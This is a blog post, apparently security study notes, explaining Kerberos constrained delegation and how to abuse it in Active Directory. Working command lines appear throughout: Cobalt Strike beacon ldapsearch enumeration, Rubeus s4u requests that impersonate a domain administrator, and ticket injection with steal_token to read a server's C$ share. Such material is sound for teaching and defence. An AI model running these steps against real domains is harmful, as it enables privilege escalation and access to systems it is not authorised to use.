Constrained Delegation

2026-02-02 — research

Now I have to explain Constrained Delegation (I want to bloody die). At least this is one of the easier ones.

Configuration and Enumeration

Instead of the TRUSTED_FOR_DELEGATION flag, constrained delegation is configured via the msDS-AllowedToDelegateTo attribute on the computer object. This attribute contains a list of SPNs to which this computer is allowed to delegate.

We can enumerate these computers using ldapsearch:

beacon> ldapsearch (&(samAccountType=805306369)(msDS-AllowedToDelegateTo=*)) --attributes samAccountName,msDS-AllowedToDelegateTo

sAMAccountName: [FRONT_SERVER_1]$

msDS-AllowedToDelegateTo: cifs/[BACK_SERVER_1].[DOMAIN.COM], cifs/[BACK_SERVER_1

This result tells us that the server [FRONT_SERVER_1]$ can delegate authentication to the cifs service on [BACK_SERVER_1].


Constrained Delegation Scenarios

The exact flow depends on how the user authenticates to the front-end service.

1. "Kerberos Only" Scenario (S4U2proxy)

This is the default and simplest flow.

  1. The user authenticates to the front-end service (e.g., http/[FRONT_SERVER_1]$) using Kerberos and presents a service ticket.
  2. The front-end service caches this ticket.
  3. When it needs to access the back-end (e.g., cifs/[BACK_SERVER_1]), the front-end sends a TGS-REQ to the KDC. This request includes its own authentication and a copy of the user's service ticket.
  4. The KDC verifies that cifs/[BACK_SERVER_1] is in the msDS-AllowedToDelegateTo list of [FRONT_SERVER_1]$.
  5. If the check is successful, the KDC returns a service ticket for cifs/[BACK_SERVER_1] in the user's name.
  6. The front-end uses that ticket to access the back-end as the user.

This is S4U2proxy in action.

2. Scenario with Protocol Transition (S4U2self + S4U2proxy)

What happens if the user authenticates to the front-end using NTLM? The front-end server won't have a user service ticket to use in the S4U2proxy request.

This is where Protocol Transition comes into play.

This feature must be explicitly enabled by setting the TRUSTED_TO_AUTH_FOR_DELEGATION flag (decimal value 16777216) in the front-end computer's UserAccountControl attribute.

First, we look up the computer's UAC value:

beacon> ldapsearch (&(samAccountType=805306369)(samaccountname=[FRONT_SERVER_1]$)) --attributes userAccountControl

userAccountControl: 16781312

Then, we verify if the flag is active with a bitwise AND operation (the default value for a computer is 4096).

PS C:\> [System.Convert]::ToBoolean(16781312 -band 16777216)

True

Since it is True, protocol transition is enabled. The flow is now:

  1. The user authenticates to the front-end (e.g., with NTLM).
  2. The front-end, lacking a user ticket, performs an S4U2self request. It sends a TGS-REQ to the KDC asking for a ticket for itself ([FRONT_SERVER_1]$) but on behalf of the user ([ADMIN_USER], for example).
  3. The KDC returns a service ticket for [ADMIN_USER]@[FRONT_SERVER_1]$. This ticket is marked as "forwardable".
  4. The front-end now uses this forwardable ticket to perform the S4U2proxy request we saw earlier, asking for a ticket for the back-end (cifs/[BACK_SERVER_1]) as [ADMIN_USER].
  5. The KDC approves it, and the front-end accesses the back-end.

Attacking Constrained Delegation (S4U)

If an attacker compromises a server configured for constrained delegation, they can abuse this trust. The method varies depending on whether protocol transition is enabled.

Attack WITH Protocol Transition

This is the most powerful attack. Because protocol transition is enabled, the attacker can impersonate any user they want, including a Domain Administrator.

We only need a TGT for the compromised computer account. Rubeus can perform the S4U2self and S4U2proxy steps in a single s4u command:

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:[FRONT_SERVER_1]$ /msdsspn:cifs/[BACK_SERVER_1] /ticket:[TGT_OF_[FRONT_SERVER_1]$] /impersonateuser:[ADMIN_USER] /nowrap
  • /user: The principal configured for delegation.
  • /msdsspn: The target service we can delegate to.
  • /ticket: The TGT of the computer account we control.
  • /impersonateuser: The user we want to impersonate (anyone!).

Step 1: Rubeus performs S4U2self

Rubeus uses the TGT of [FRONT_SERVER_1]$ to request a ticket for itself on behalf of [ADMIN_USER].

[*] Action: S4U

[*] Building S4U2self request for: '[FRONT_SERVER_1]$@[DOMAIN.COM]'

[+] S4U2self success!

[*] Got a TGS for '[ADMIN_USER]' to '[FRONT_SERVER_1]$@[DOMAIN.COM]'

[*] base64(ticket.kirbi):

      doIF8[...snip...]MtMSQ=

This returned ticket is forwardable.

Step 2: Rubeus performs S4U2proxy

Rubeus automatically uses that forwardable ticket to request a ticket to the target SPN.

[*] Impersonating user '[ADMIN_USER]' to target SPN 'cifs/[BACK_SERVER_1]'

[*] Building S4U2proxy request for service: 'cifs/[BACK_SERVER_1]'

[+] S4U2proxy success!

[*] base64(ticket.kirbi) for SPN 'cifs/[BACK_SERVER_1]':

      doIGf[...snip...]ZzLTE=

Step 3: Use the ticket

We now have a valid ticket for the CIFS service on [BACK_SERVER_1] as [ADMIN_USER]. We can inject it and access the resource.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /username:[ADMIN_USER] /password:FakePass /ticket:doIGf[...snip...]ZzLTE=

[+] Process         : 'C:\Windows\System3T\cmd.exe' successfully created with LOGON_TYPE = 9

[+] ProcessID       : 3380

[+] Ticket successfully imported!

beacon> steal_token 3380

beacon> ls \\[BACK_SERVER_1]\c$

 Size     Type    Last Modified         Name

 ----     ----    -------------         ----

          dir     01/23/2025 15:44:52   $Recycle.Bin

          dir     01/23/2025 13:57:51   $WinREAgent

...

Attack WITHOUT Protocol Transition

If the TRUSTED_TO_AUTH_FOR_DELEGATION flag is not enabled, the attack is harder.

We cannot impersonate an arbitrary user. The S4U2self step will still work, but the ticket it returns will not have the "forwardable" flag. If we try to use it for S4U2proxy, it will fail with the error KDC_ERR_BADOPTION.

In this scenario, the attacker must first obtain a legitimate service ticket that a user has requested for the front-end service (our compromised server, [FRONT_SERVER_1]$). We are limited to impersonating only the users who authenticate to this server.

Let's suppose we have captured a ticket from user [EXAMPLE_USER] for HTTP/[FRONT_SERVER_1].

Now, we modify our Rubeus command. Instead of /impersonateuser, we use the /tgs parameter to provide the captured service ticket of [EXAMPLE_USER].

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:[FRONT_SERVER_1]$ /msdsspn:cifs/[BACK_SERVER_1] /ticket:[TGT_OF_[FRONT_SERVER_1]$] /tgs:[TICKET_OF_[EXAMPLE_USER]] /nowrap
  • /tgs: The captured service ticket from the user ([EXAMPLE_USER]) to the front-end service.

Rubeus will use this ticket to directly perform the S4U2proxy request.

[*] Action: S4U

[*] Loaded a TGS for [DOMAIN.COM]\[EXAMPLE_USER]

[*] Impersonating user '[EXAMPLE_USER]' to target SPN 'cifs/[BACK_SERVER_1]'

[*] Building S4U2proxy request for service: 'cifs/[BACK_SERVER_1]'

[+] S4U2proxy success!

[*] base64(ticket.kirbi) for SPN 'cifs/[BACK_SERVER_1]':

      doIGL[...snip...]mcy0x

We obtain a ticket for cifs/[BACK_SERVER_1] as [EXAMPLE_USER]. Even if they aren't a Domain Administrator, [EXAMPLE_USER] might have access to interesting files on that server. The rest of the attack (createnetonly, steal_token) is identical, but we are now operating as the user [EXAMPLE_USER].

← back to blog